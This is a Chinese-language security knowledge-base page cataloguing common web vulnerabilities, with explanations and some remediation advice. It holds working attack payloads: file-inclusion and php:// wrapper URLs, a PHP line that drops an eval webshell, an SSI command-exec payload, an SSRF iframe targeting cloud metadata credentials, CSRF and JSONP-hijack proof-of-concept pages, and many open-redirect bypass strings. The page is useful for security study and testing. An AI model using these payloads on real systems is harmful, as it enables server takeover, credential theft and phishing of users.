网安
  • Develop
    • JAVA学习
      • 字节码
      • API开发
      • Web开发
      • 工程结构推荐
      • 创建第一个项目
      • 权限管控
      • 配置文件
      • 日志管理
      • 数据访问
      • 性能监控
      • IoC容器
      • Spring
      • Filter与Listener
      • jsp
      • MVC
      • servlet-1
      • servlet-2
      • servlet-3
      • servlet-4
      • FreeMarker
      • Thymeleaf
      • EL
      • SpEL
      • JSTL
      • 部署
      • JDBC
      • 数据库连接池
      • fastjson
      • jackson
      • XML
      • JSON
      • 序列化
      • Maven
      • 安装与使用
      • 工具
      • 爬虫
    • GO学习
      • GO
        • flag 包
        • goland 远程调试
        • GoReleaser
        • OS 包
        • time 包
        • 格式化输出
    • Lua学习
      • Lua
      • 基础语法
      • LuaJIT
      • 与系统交互
    • Pyhon
      • 基础
      • Django
      • CLI
      • miniforge
      • MockingBird
      • pdb
      • pyc
      • 装的我脑血栓要犯了
      • Python101
      • 反序列化
      • 爬虫
      • Pillow
      • 图像识别
      • flask
    • Speed-Ruby
      • 入门1
      • 入门2 对象
      • 入门3 创建命令
      • Encoding类
      • File类与Dir类
      • IO
      • Proc类
      • Time类与Date类
      • 正则
      • 错误处理与异常
      • 对象、变量和常量
      • 方法
      • 数值
      • 数组
      • 条件判断
      • 循环
      • 运算符
      • Socket编程
      • 字符串
      • 并发与线程
      • 块
      • 类和模块
      • 散列
    • Web
      • HTTP
        • Connection
        • HTTP 报文
        • Vary
      • 笔记
        • 跳转
        • 认证 & 授权
        • 同源策略(SOP)
        • 文件
    • Git 学习笔记
    • JSON
      • JSON 学习笔记
    • HTML
      • Speed-HTML
      • 语法学习
      • HTML字符实体
    • XML
      • XML 学习笔记
    • 计算机基础
      • 操作系统
      • 计算机组成
      • 算法
      • 内存
      • 字符编码
    • gnuplot 学习笔记
    • regex
  • Integrated
    • Linux
      • God-Linux
      • Secure-Linux
      • Power-Linux
      • IO模型
      • Speed-Linux
      • 发行版
      • 工具
      • 启动过程
      • 进程
      • 认证
      • 日志
      • 守护进程
      • 文件
      • 信息
      • VSFTP 配置案例
      • auditd
      • containerd
      • DNS 配置案例
      • Docker
      • Docker-Compose
      • firewalld 实验
      • gpg
      • Iptables
      • httpd
      • LAMP
      • mysql
      • nfs 配置案例
      • openssl
      • PAM
      • samba 配置案例
      • terraform
      • ufw
      • VSFTP 配置案例
    • Network
      • Speed-Net
      • Power-Net
      • SDN 笔记
      • DNS
      • TLS
    • Windows
      • Secure-Win
      • Speed-Win
      • ACL
      • LDAP
      • IPC$(Internet Process Connection)
      • PDB符号文件
      • 工作组
      • WinRM
      • 角色权限
      • 凭据
      • 签名
      • 日志
      • 认证
      • 协议
      • 信息
      • 应用
      • 组策略
      • 域
      • asp站点搭建
      • Exchange 搭建
      • Windows 故障转移集群
      • Windows 基础服务搭建
      • Windows 域搭建
      • 本地抓包
      • PowerShell 笔记
    • 容器
      • Docker
    • 数据库
      • Speed-SQL
      • Power-SQL
      • MSSQL
      • MySQL
      • Postgresql
      • Redis
      • MySQL大小写问题
      • 主键和外键
      • MySQL快速入门
      • 虚拟化
        • ESXi
        • vCenter
  • Plan
    • Mac-Plan
    • Misc-Plan
    • Team-Plan
    • Thinking-Plan
    • VM-Plan
  • Sercurity
    • Power-PenTest
    • BlueTeam
      • 安全建设
      • 分析
      • 加固
      • 取证
      • 应急
      • USB取证
      • 磁盘取证
      • 内存取证
      • ClamAV 部署
      • yara 实验
      • 安防设施搭建使用
      • ZIP明文攻击
      • 流量分析
    • Crypto
      • Crypto
        • 2020 9 G60攻防大赛
        • CTF
        • 2020 9 中能融合杯工控CTF
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • CTF
      • CTF
      • writeup
        • 2020 9 中能融合杯工控CTF
        • 2020 9 G60攻防大赛
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • ICS
      • PLC攻击
      • S7comm 相关
      • 工控协议
      • 上位机安全
      • Modbus 仿真环境搭建
      • siemens 仿真搭建实验
      • S7-300 启停实验
    • IOT
      • 无线电安全
        • RFID复制卡
        • RFID基础知识
        • WiFikiller
      • 硬件安全
        • DIY键盘嵌入指纹识别模块实验记录
        • Device-Exploits
        • HID-Digispark
        • HID-KeyboardLogger
        • HID-USBHarpoon
        • HID-USBKeyLogger
      • 固件安全
        • 固件安全
        • Dlink_DWR-932B 路由器固件分析
    • Mobile sec
      • 小程序安全
      • Android安全
    • PWN
      • SLMail溢出案例
      • PWN
    • Red Team
      • OS安全
        • Linux 安全
        • Exploits
        • NTLM中继
        • Windows 安全
        • Responder欺骗
        • Windows-LOL
      • Web_Generic
        • Top 10
          • RCE
          • Fileread
          • SQLi
          • SSRF
          • SSTI
          • Web Generic
          • XSS
          • XXE
      • Web_Tricks
        • JWT 安全
        • HTTP_request_smuggling
        • OOB
        • 绕过访问
      • 靶场
        • Hello-Java-Sec 学习
        • DVWA-WalkThrough
        • pikachu-WalkThrough
        • upload-labs-WalkThrough
        • XVWA-WalkThrough
        • XSS挑战-WalkThrough
      • 实验
        • flask
        • fastjson
        • Log4j
        • nodejs
        • Shiro
        • Spring
        • Weblogic
      • 前端攻防
      • IDOR
    • 安防设备
      • Exploits
      • Bypass 技巧
    • 后渗透
      • 权限提升
      • 后渗透
      • 权限维持
      • 实验
        • C2 实验
        • Exchange
        • 端口转发实验
        • 代理实验
        • 免杀实验
        • 隧道实验
    • 软件服务安全
      • Exploits
      • CS Exploits
      • 实验
        • Docker
        • Kubernetes
        • Mysql
        • Oracle
        • PostgreSQL
        • Redis
        • vCenter
    • 协议安全
      • Exploits
    • 信息收集
      • 端口安全
      • 空间测绘
      • 信息收集
    • 语言安全
      • 语言安全
        • 语言安全
      • GO安全
        • GO安全
        • Go代码审计
      • JAVA安全
        • JAVA安全
        • JAVA代码审计
        • JAVA反序列化
        • SpEL 注入
      • PHP安全
        • PHP安全
        • bypass_disable_function
        • bypass_open_basedir
        • phpinfo
        • PHP代码审计
        • PHP反序列化
        • PHP回调函数
        • 变量覆盖
        • POP
        • 弱类型
        • 伪协议
        • 无字母数字Webshell
      • Python安全
        • pyc反编译
        • Python安全
        • Python 代码审计
        • 沙箱逃逸
      • dotnet安全
      • JS安全
    • 云安全
      • 公有云安全
    • Reverse
      • Reverse
      • FILE
        • ELF
        • BMP
        • JPG
        • PE
        • PNG
        • ZIP
        • 文件头
      • 实验
        • PYAble
          • 2-逆运算
          • 1-基本分析
          • 3-异或
          • 4-Base64
          • 5-Base64换表
          • 6-动态调试
        • Windows
          • condrv.sys 内存损坏漏洞
    • 工具
      • Aircrack
      • BloodHound
      • Burp Suite
      • frp
      • CobaltStrike
      • Ghidra
      • fscan
      • Hashcat
      • IDA
      • merlin
      • Kali
      • Metasploit
      • Mimikatz
      • ModSecurity
      • Nmap
      • nps
      • nuclei
      • pupy
      • RedGuard
      • SET
      • sliver
      • Snort
      • Sqlmap
      • Suricata
      • Sysmon
      • uncover
      • Volatility
      • Wfuzz
      • Wireshark
      • xray
    • 安全资源
      • 靶机
        • VulnHub
          • DC
            • DC2 WalkThrough
            • DC1 WalkThrough
            • DC3 WalkThrough
            • DC4 WalkThrough
            • DC5 WalkThrough
            • DC6 WalkThrough
            • DC9 WalkThrough
            • DC8 WalkThrough
          • It's_October
            • It’s_October1 WalkThrough
          • Kioptrix
            • Kioptrix2 WalkThrough
            • Kioptrix3 WalkThrough
            • Kioptrix4 WalkThrough
            • Kioptrix5 WalkThrough
          • Mission-Pumpkin
            • PumpkinGarden-WalkThrough
            • PumpkinFestival WalkThrough
            • PumpkinRaising WalkThrough
          • Symfonos
            • symfonos1 WalkThrough
            • symfonos2 WalkThrough
            • symfonos3 WalkThrough
            • symfonos5 WalkThrough
        • Wargames
          • Bandit
            • Bandit-WalkThrough
      • 面试问题
        • 面试问题
Powered by GitBook
On this page
  • 免责声明
  • 大纲
  • 文件包含
  • 日志中毒攻击
  • 文件解析
  • IIS
  • Nginx
  • Apache
  • 其他
  • 文件上传
  • 信息泄露
  • 目录浏览
  • Fileread
  • 源码泄露
  • DS_Store文件泄漏
  • SWP文件泄露
  • gedit备份文件
  • 网站备份压缩文件
  • WEB-INF/web.xml信息泄露
  • idea文件夹泄露
  • JS敏感信息泄露
  • Swagger_REST_API信息泄露
  • 各类APIkey泄露
  • SOAP泄露
  • 不安全的输入
  • RCE
  • HTTP参数污染
  • CRLF_Injection
  • HOST_Injection
  • SQL_inje
  • XSS
  • XXE
  • SSI
  • SSRF
  • SSTI
  • 表达式注入
  • WebSocket安全
  • 业务模板注入
  • 配置不当
  • 代理配置不当
  • CORS
  • CSRF
  • jsonp劫持
  • 钓鱼欺骗
  • URL跳转漏洞
  • 二维码劫持
  • 点击劫持
  1. Sercurity
  2. Red Team
  3. Web_Generic
  4. Top 10

Web Generic


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲

  • 文件包含

    • 日志中毒攻击

  • 文件解析

    • IIS

    • Nginx

    • Apache

    • 其他

  • 文件上传

  • 信息泄露

    • 目录遍历

    • Fileread

    • 源码泄露

      • GIT

      • SVN

      • bzr

    • DS_Store文件泄漏

    • SWP文件泄露

    • 网站备份压缩文件

    • WEB-INF/web.xml信息泄露

    • idea文件夹泄露

    • JS敏感信息泄露

    • Swagger_REST_API信息泄露

    • 各类APIkey泄露

    • SOAP泄露

  • 不安全的输入

    • http参数污染

    • CRLF_Injection

    • host_Injection

    • SQL_inje

    • XSS

    • XXE

    • SSRF

    • SSTI

  • 配置不当

    • 代理配置不当

    • CORS

    • CSRF

    • jsonp劫持

  • 钓鱼欺骗

    • URL跳转漏洞

    • 二维码劫持

    • 点击劫持


相关文章


文件包含

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:include(),include_once(),require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

  1. 本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

  2. 远程文件包含漏洞:能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩

因此,在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

相关文章

相关案例

rfi payload

  • https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/rfi/

lfi payload

  • https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders

  • https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/rfi/rfi.txt

几种利用方法

  • 常规利用

    Payload: http://www.test.com/test.php?file=upload/hourse.jpg&x=phpinfo()

  • 文件协议读取

    其前提是得知道网站应用的绝对路径(物理路径):

    Payload: http://www.test.com/test.php?file=file://D:/Server/htdocs/test/upload/hourse.jpg&x=phpinfo()

    结果和上面一样,只是地址栏链接不一样.

  • 压缩包文件读取

    依然需要知道压缩包文件的绝对路径

    Payload: http://www.test.com/test.php?file=zip://D:/Server/htdocs/test/upload/shell.zip%23shell.php&x=phpinfo())

  • phar:// 相对路径运行 PHP 文件

    当我们想要运行自己的 PHP 文件,该咋做呐?通过文件包含(include,require 这类函数),首先构造一个这样的文件,将 webshell.php 添加到压缩文件 .zip,然后将压缩包后缀名改为 .jpg 反正合法的文件后缀即可(一般的操作是这样的,当只能上传图片的时候),最后使用 phar:// 按照相对路径读取并执行文件.

    Payload:http://www.test.php?file=phar://upload/shell.jpg/shell.php?x=phpinfo()

  • 读取源码

    当我们没法儿上传文件,但是又想读取文件的源码来寻找别的漏洞从而进一步利用该怎么做呐?同样的利用 php://filter/ 协议可以实现,要注意的是,因为编码问题,一般我们会将读取的文件先 Base64 编码一下输出:

    Payload:http://www.test.com/test.php?file=php://filter/read=convert.base64-encode/resource=upload/shell.php

日志中毒攻击

log poisoning

相关文章


文件解析

相关文章

IIS

5.x/6.0 解析漏洞

IIS 6.0 解析利用方法有两种

  1. 目录解析

    /xx.asp/xx.jpg

  2. 文件解析

    wooyun.asp;.jpg

第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行.

例如创建目录 wooyun.asp,那么 /wooyun.asp/1.jpg 将被当作 asp 文件来执行.假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿 shell 了.

第二种,在 IIS6.0 下,分号后面的不被解析,也就是说 wooyun.asp;.jpg 会被服务器看成是wooyun.asp

还有 IIS6.0 默认的可执行文件除了 asp 还包含这三种

/wooyun.asa
/wooyun.cer
/wooyun.cdx
  • 相关案例


Nginx

IIS 7.0/IIS 7.5/Nginx <8.03 畸形解析漏洞

在默认 Fast-CGI 开启状况下,黑阔上传一个名字为 wooyun.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问 wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

  • 相关案例

Nginx <8.03 空字节代码执行漏洞

影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

Nginx 在图片中嵌入 PHP 代码然后通过访问 xxx.jpg%00.php 来执行其中的代码


Apache

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如 wooyun.php.owf.rar ".owf"和".rar" 这两种后缀是 apache 不可识别解析,apache 就会把 wooyun.php.owf.rar 解析成 php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 wooyun.php.rar.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

  • 相关案例

.htaccess

如果在 Apache 中 .htaccess 可被执行.且可被上传.那可以尝试在 .htaccess 中写入: <FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch> 然后再上传 shell.jpg 的木马, 这样 shell.jpg 就可解析为 php 文件.

CVE-2017-15715 Apache HTTPD 换行解析漏洞

其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略.

原理:在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析.

用 hex 功能在 1.php 后面添加一个 \x0A

访问 http://10.10.10.131:8080/1.php%0A ,成功解析


其他

在 windows 环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows 会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被 windows 自动消除,这样也可以 getshell.

CGI 解析漏洞

/.php


文件上传

  • Upload


信息泄露

相关文章

相关工具

  • # pip安装
    pip install dumpall
    # 查看版本
    dumpall --version
    # 示例
    dumpall -u http://example.com/.git/
    dumpall -u http://example.com/.svn/
    dumpall -u http://example.com/.DS_Store
    dumpall -u http://example.com/

目录浏览

Tips

使用 wget 遍历下载所有文件

wget -r --no-pare target.com/dir

Fileread

  • Fileread


源码泄露

GIT

简介

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录. 这个目录包含所有的 Git 存储和操作的对象. 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了.

  • /.git/config

相关案例

相关工具

  • python2 GitHack.py http://www.openssl.org/.git/
  • python2 git_extract.py http://example.com/.git/  # 一个存在 .git 泄露的网站
    python2 git_extract.py example/.git/             # 一个本地的 .git 路径

SVN

  • /.svn/entries

相关案例

相关工具


bzr

相关工具

  • rip-bzr.pl -v -u http://www.example.com/.bzr/

DS_Store文件泄漏

简介

.DS_Store 文件 MAC 系统是用来存储这个文件夹的显示属性的:比如文件图标的摆放位置.如果用户删除以后的副作用就是这些信息的失去.

这些文件本来是给 Finder 使用的,但它们被设想作为一种更通用的有关显示设置的元数据存储,诸如图标位置和视图设置. 当你需要把代码上传的时候,安全正确的操作应该把 .DS_Store 文件删除才正确.

因为里面包含了一些目录信息,如果没有删除,攻击者通过 .DS_Store 可以知道这个目录里面所有文件名称,从而让攻击者掌握了更多的信息. 

相关案例

相关工具


SWP文件泄露

简介

swp 即 swap 文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。

直接访问 .swp 文件,下载回来后删掉末尾的 .swp,获得源码文件


gedit备份文件

简介

linux 下,gedit 保存后当前目录会生成后缀为 “~” 的文件,然后通过浏览器访问这个文件就能得到原始文件的内容。


网站备份压缩文件

简介

该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下.

该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失.

相关案例

相关工具

Tips

  • 有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容

    pip3 install remotezip
    remotezip -l "http://site/bigfile.zip"          # 列出远程zip文件的内容
    remotezip "http://site/bigfile.zip" "file.txt"  # 从远程zip⽂件解压出file.txt

WEB-INF/web.xml信息泄露

简介

WEB-INF 是 Java 的 WEB 应用的安全目录.该目录原则上来说是客户端无法访问,只有服务端才可以可以访问.如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问.

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则;
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 .jar 文件中;
/WEB-INF/lib/:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件 , 如数据库驱动 jar 文件;
/WEB-INF/src/:源码目录,按照包名结构放置各个 java 文件;
/WEB-INF/database.properties:数据库配置文件.

不过在一些特定的场合却会让攻击者能读取到其中的内容,从而造成源码泄露.

相关案例


idea文件夹泄露

相关工具


JS敏感信息泄露

相关文章

相关案例

相关工具

  • python3 SecretFinder.py -i https://example.com/ -e

    建议自行添加如下规则

    'access_key': r'[Aa](ccess|CCESS)_?[Kk](ey|EY)|[Aa](ccess|CCESS)_?[sS](ecret|ECRET)|[Aa](ccess|CCESS)_?(id|ID|Id)',
    'secret_key': r'[Ss](ecret|ECRET)_?[Kk](ey|EY)',
    'JWT': r'[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*',
    'ALL_JWT': r'[= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*',
  • python JSFinder.py -u http://www.xxx.com -d -ou url.txt -os subdomain.txt
    python JSFinder.py -u http://www.xxx.com -d -c "session=xxx"    # -c 指定cookie来爬取页面
    
    python JSFinder.py -f text.txt -j   # 批量指定URL/指定JS

Swagger_REST_API信息泄露

相关文章

相关工具


各类APIkey泄露

  • APIkey/密钥信息


SOAP泄露

相关文章

相关案例

相关工具


不安全的输入

RCE

  • RCE 笔记

HTTP参数污染

相关文章

相关案例


CRLF_Injection

相关案例

相关工具

HOST_Injection

相关文章


SQL_inje

  • SQLi 笔记


XSS

  • XSS 笔记


XXE

  • XXE 笔记


SSI

Server Side Includes 服务器端包含

简介

SSI 就是在 HTML 文件中,可以通过注释行调用的命令或指针,即允许通过在 HTML 页面注入脚本或远程执行任意代码。

相关文章

payload

xxx.shtml

<!--#exec cmd="id" -->

SSRF

  • SSRF 笔记


SSTI

服务器端模板注入

  • SSTI 笔记


表达式注入

相关文章

SpEL注入

  • SpEL注入


WebSocket安全

相关文章


业务模板注入

pdf 生成、html 模板生成的功能点

通常是配合 lfi、ssrf 进行利用

相关案例

  • pdf 模板注入 + aws metadata API

    <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"title="SSRF Test"></iframes>

    form : https://twitter.com/intigriti/status/1487405174763278338


配置不当

代理配置不当

相关文章

相关案例


CORS

简介

CORS 跨域漏洞的本质是服务器配置不当,即 Access-Control-Allow-Origin 设置为 * 或是直接取自请求头 Origin 字段,Access-Control-Allow-Credentials 设置为 true。

CORS 与 CSRF 的区别

CORS 机制的目的是为了解决脚本的跨域资源请求问题,不是为了防止 CSRF。

CSRF 一般使用 form 表单提交请求,而浏览器是不会对 form 表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

脚本的跨域请求在同源策略的限制下,响应会被拦截,即阻止获取响应,但是请求还是发送到了后端服务器。

  • 相同点:都需要第三方网站;都需要借助 Ajax 的异步加载过程;一般都需要用户登录目标站点。

  • 不同点:一般 CORS 漏洞用于读取受害者的敏感信息,获取请求响应的内容;而 CSRF 则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

相关文章

相关案例

相关工具

相关靶场


CSRF

描述

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 Web 系统的安全。

相关文章

相关工具

验证方法

  • GET

    <a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
  • POST

    <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
    <input name="username" type="hidden" value="uname" />
    <input type="submit" value="Submit Request" />
    </form>
  • JSON GET

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://www.example.com/api/currentuser");
    xhr.send();
    </script>
  • JSON POST

    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://www.example.com/api/setrole");
    xhr.withCredentials = true;
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.send('{"role":admin}');
    </script>

Bypass 技巧

  • 尝试 fuzz token

    username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
    
    username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
    username=dapos&password=123456&token=0
    username=dapos&password=123456&token=
    username=dapos&password=123456&
  • POST 转 GET

修复方案

  • Referer 校验,对 HTTP 请求的 Referer 校验,如果请求 Referer 的地址不在允许的列表中,则拦截请求。

  • Token 校验,服务端生成随机 token,并保存在本次会话 cookie 中,用户发起请求时附带 token 参数,服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。

  • Formtoken 校验,Formtoken 校验本身也是 Token 校验,只是在本次表单请求有效。

  • 对于高安全性操作则可使用验证码、短信、密码等二次校验措施

  • 增删改请求使用 POST 请求


jsonp劫持

简介

JSONP(JSON with Padding)是 json 的一种 "使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是 script 标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。

JSONP 劫持实际上也算是 CSRF 的一种。当某网站使用 JSONP 的方式来跨域传递一些敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

JSON 实际应用的时候会有两种传输数据的方式:

  • xmlhttp 获取数据方式:

    {"username":"twosmi1e","password":"test123"}

    当在前端获取数据的时候,由于数据获取方和数据提供方属于同一个域下面,所以可以使用 xmlhttp 的方式来获取数据,然后再用 xmlhttp 获取到的数据传入自己的 js 逻辑如 eval。

  • script 获取数据方式:

    userinfo={"username":"twosmi1e","password":"test123"}

    如果传输的数据在两个不同的域,由于在 javascript 里无法跨域获取数据,所以一般采取 script 标签的方式获取数据,传入一些 callback 来获取最终的数据,如果缺乏有效地控制(对 referer 或者 token 的检查)就有可能造成敏感信息被劫持。

相关文章

相关案例

相关工具

场景模拟

<?php
//test.php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"username" : "test","phone" : "13888888888"});';
?>
# 服务器上运行这个简易的服务
php -S 0.0.0.0:9999

举例,存在信息泄漏的 JSONP 接口 http://127.0.0.1:9999/test.php?callback=xxx ,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。

<script>
    function xxx(data)
    {
      alert(data.username);
    }
</script>

<script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>

保存为 html,诱导受害者访问.

SOME

同源方式执行

简介

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。

相关文章

靶场


钓鱼欺骗

相关案例

URL跳转漏洞

Open Redirect

描述

由于 Web 站点有时需要根据不同的逻辑将用户引向到不同的页面,如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致 URL 重定向问题,攻击者构造恶意跳转的链接,可以向用户发起钓鱼攻击。

相关文章

相关工具

字典

  • https://tools.intigriti.io/redirector/#

  • https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt

Bypass 技巧

  • Fuzz

    • /?ref=evil.com

    • /?ref=evil。com

    • /?ref=#evil.com

    • /?ref=#%20@evil.com

    • /?ref=/evil.com

    • /?ref=//evil.com

    • /?ref=\\evil.com

    • /?ref=\/\/evil.com/

    • /?ref=/\/evil.com/

    • /?ref=evil%E3%80%82com

    • /?ref=//evil%00.com

    • /?ref=https://evil.c℀.example.com

    • /?ref=/%0d/evil.com

    • /?ref=evil%00.com

  • URL 编码

    • /?ref=%2Fevil.com

    • /?ref=%2F%2Fevil.com

    • /?ref=https%3A%2F%2Fevil.com

  • CRLF

    • /?ref=%0D%0A/evil.com

  • 协议

    • /?ref=http://evil.com

    • /?ref=http:/\/\evil.com

    • /?ref=https:evil.com

    • /?ref=https://evil.com

    • /?ref=https:/evil.com

    • /?ref=https:/\evil.com

  • 白名单

    • /?ref=baidu.com

    • /?ref=baidu.com.evil.com

    • /?ref=baidu.comevil.com

    • /?ref=baidu.com@evil.com

    • /?ref=baidu.com%40evil.com

    • /?ref=baidu.com?evil.com

    • /?ref=baidu.com/°evil.com

  • 参数污染

    • /?ref=baidu.com&ref=evil.com

  • Right to Left Override

    • /?ref=%40%E2%80%AE@moc.live

通用修复方案

  • 使用白名单校验重定向的 url 地址

  • 给用户展示安全风险提示,并由用户再次确认是否跳转


二维码劫持

相关案例


点击劫持

相关案例

PreviousSSTINextXSS

- 用于渗透测试前期,快速地对大量目标进行扫描,发现信息泄露等常见漏洞,找到可能的突破入口。

- 网站个人敏感信息文件扫描器

- 动态多线程敏感信息泄露检测工具

- 一款信息泄漏利用工具,适用于 .git/.svn 源代码泄漏和 .DS_Store 泄漏

- 一个自动扫描敏感文件的chrome扩展.

- 一个 .git 泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

- 提取远程 git 泄露或本地 git 的工具

- SVN/GIT/HG 等版本控制系统的扫描工具

- 一款 SVN 源代码利用工具,其完美支持 SVN<1.7 版本和 SVN>1.7 版本的 SVN 源代码泄露

- SVN/GIT/HG 等版本控制系统的扫描工具

- 一个 .DS_Store 文件泄漏利用脚本,它解析 .DS_Store 文件并递归地下载文件到本地。

- .DS_Store 文件解析脚本,递归地获取文件夹内的 .ds_Store

- 备份文件扫描,并自动进行下载

- 扫描备份文件和敏感信息泄漏的扫描器

- 批量网站备份文件扫描器,增加文件规则,优化内存占用

- 一个 .idea 文件泄漏利用脚本

- 通过正则在 JS 中发现敏感数据,如 apikeys、accesstoken、authorizations、jwt,..等等

- 通过在 js 文件中提取 URL,子域名

- 自动化爬取并自动测试所有 swagger 接口

- 用于帮助测试 wsdl 接口的 burp 插件

- 通过脚本中转 websocket 让 sqlmap 可以注入

- 一个旨在发现网站的 CORS 错误配置漏洞的 python 工具

- Corsair_scan is a security tool to test Cross-Origin Resource Sharing (CORS).

- CORS Misconfiguration Scanner

- This HTML file creates a CSRF PoC form to any HTTP request.

- JSONP Hunter in burpsuite.

- 一个简单的讲解关于点击劫持的网站

聊聊安全测试中如何快速搞定 Webshell
Web Service 渗透测试从入门到精通
我的Web应用安全模糊测试之路
聊聊近期公开的几个GitLab高额奖金漏洞
LFI、RFI、PHP 封装协议安全问题学习 - 骑着蜗牛逛世界
php 文件包含漏洞 | Chybeta
文件包含漏洞
文件包含漏洞(绕过姿势)
文件包含漏洞原理分析
文件包含漏洞总结 | 瓦都剋
